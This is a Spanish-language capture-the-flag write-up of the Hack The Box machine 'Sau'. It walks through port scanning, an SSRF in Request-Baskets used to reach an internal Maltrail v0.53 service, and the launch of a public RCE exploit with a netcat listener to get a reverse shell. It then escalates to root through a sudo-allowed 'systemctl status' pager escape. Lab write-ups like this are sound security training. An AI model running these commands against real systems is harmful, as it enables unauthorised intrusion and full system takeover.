Post

HTB Sau

Resumen

logo

Sau es una máquina en la que se debe hacer uso del software Request-Basket, del cual se debe abusar para generar un SSRF. Gracias a esto, se puede observar que de manera interna, la máquina está utilizando una versión vulnerable de Maltrail, a través de la cual se pueden ejecutar comandos. Después de ganar acceso, solo es necesario revisar los privilegios a nivel de sudoers del usuario para descubrir algo interesante. Es una máquina corta pero interesante, ideal para practicar la explotación de la vulnerabilidad SSRF y la enumeración de versiones.

Reconocimiento

Para empezar, se realiza un ping para determinar con qué sistema operativo cuenta la máquina.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=114 ms

--- 10.10.11.224 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 114.204/114.204/114.204/0.000 ms

Por eso se puede asumir que es Linux.

Escaneo de puertos

Ahora, el proceso a seguir es realizar un escaneo para determinar qué puertos están ejecutando un servicio.

1
2
3
4
5
6
7
8
9
10
sudo nmap -p- --min-rate 3000 10.10.11.224 -oG openPorts -Pn -sS

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-07 19:04 -05
Nmap scan report for 10.10.11.224 (10.10.11.224)

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

Con esta información, es posible llevar a cabo un escaneo más detallado para identificar las versiones de cada servicio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sudo nmap -p22,55555,80,8338 -sVC --min-rate 3000 10.10.11.224 -Pn -sS -oN versions

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 08 Oct 2023 00:06:18 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 08 Oct 2023 00:05:50 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 08 Oct 2023 00:05:51 GMT
|_    Content-Length: 0

Enumeración

Se puede comprobar qué se está ejecutando en el puerto 55555 desde el navegador.

basket

En esta, se puede observar la versión que está en ejecución y una opción que aparentemente permite crear una URL con la que se podría intentar llevar a cabo una acción.

Request Baskets is a web service to collect arbitrary HTTP requests and inspect them via RESTful API or simple web UI.

Al buscar en internet acerca de la versión que podría ser vulnerable a una vulnerabilidad de solicitud de servidor a servidor (SSRF), se podría intentar acceder a recursos dentro de la máquina, como los dos puertos que fueron listados previamente pero estaban filtrados.

vuln

Explotación

Para esto, se puede intentar encaminar la solicitud web hacia la dirección local para confirmar que se está llevando a cabo de la manera deseada.

ssrflocal

Cuando se pone a la escucha con Python en ese puerto, se puede observar que se recibe la solicitud y se accede a la URL relacionada con la cesta, en este caso, http://10.10.11.224:55555/Gansito.

1
2
3
4
❯ python3 -m http.server 8081

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.224 - - [07/Oct/2023 19:41:47] "GET / HTTP/1.1" 200 -

Ahora, es importante tener en cuenta que la máquina tenía un servicio que estaba siendo filtrado en el puerto 80, por lo que teóricamente podría ser accesible mediante el SSRF.

ssrf80

Y al revisar dentro de la URL, se puede observar lo siguiente.

mailtrail

MalTrail es una herramienta opensource, hecha en Python, destinada a analizar el tráfico de red con el fin de detectar y registrar posibles amenazas.

Al buscar información sobre MalTrail v0.53, se encuentra lo siguiente.

github

Al identificar que es vulnerable a una ejecución remota de comandos (RCE), se puede utilizar el siguiente Github

1
nc -lvp 4444
1
python3 exploit.py [listening_IP] [listening_PORT] [target_URL]
1
❯ python3 exploit.py 10.10.15.135 4444 http://10.10.11.224:55555/Gansito/login

Y de esta manera, se puede obtener una shell reversa.

1
2
3
4
5
6
7
puma@sau:/opt/maltrail$ whoami
puma
puma@sau:/opt/maltrail$ hostname -I
10.10.11.224 dead:beef::250:56ff:feb9:23a4 
puma@sau:/opt/maltrail$ hostname 
sau
puma@sau:/opt/maltrail$ 

Escalada de Privilegios

Al revisar los privilegios a nivel de sudoers de la máquina, se puede observar que el usuario actual tiene la capacidad de ejecutar systemctl.

1
2
3
4
  sudo -l

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Por lo que se puede ejecutar el comando:

1
sudo  /usr/bin/systemctl status trail.service

sudoers

Puedes buscar información en GTFObins, una fuente útil para encontrar técnicas de escape de privilegios en sistemas Unix y Linux.

gtfo

Por lo que se puede ejecutar el comando !bash y se obtiene acceso como root.

1
2
3
root@sau:~# whoami
root
root@sau:~# 
This post is licensed under CC BY 4.0 by the author.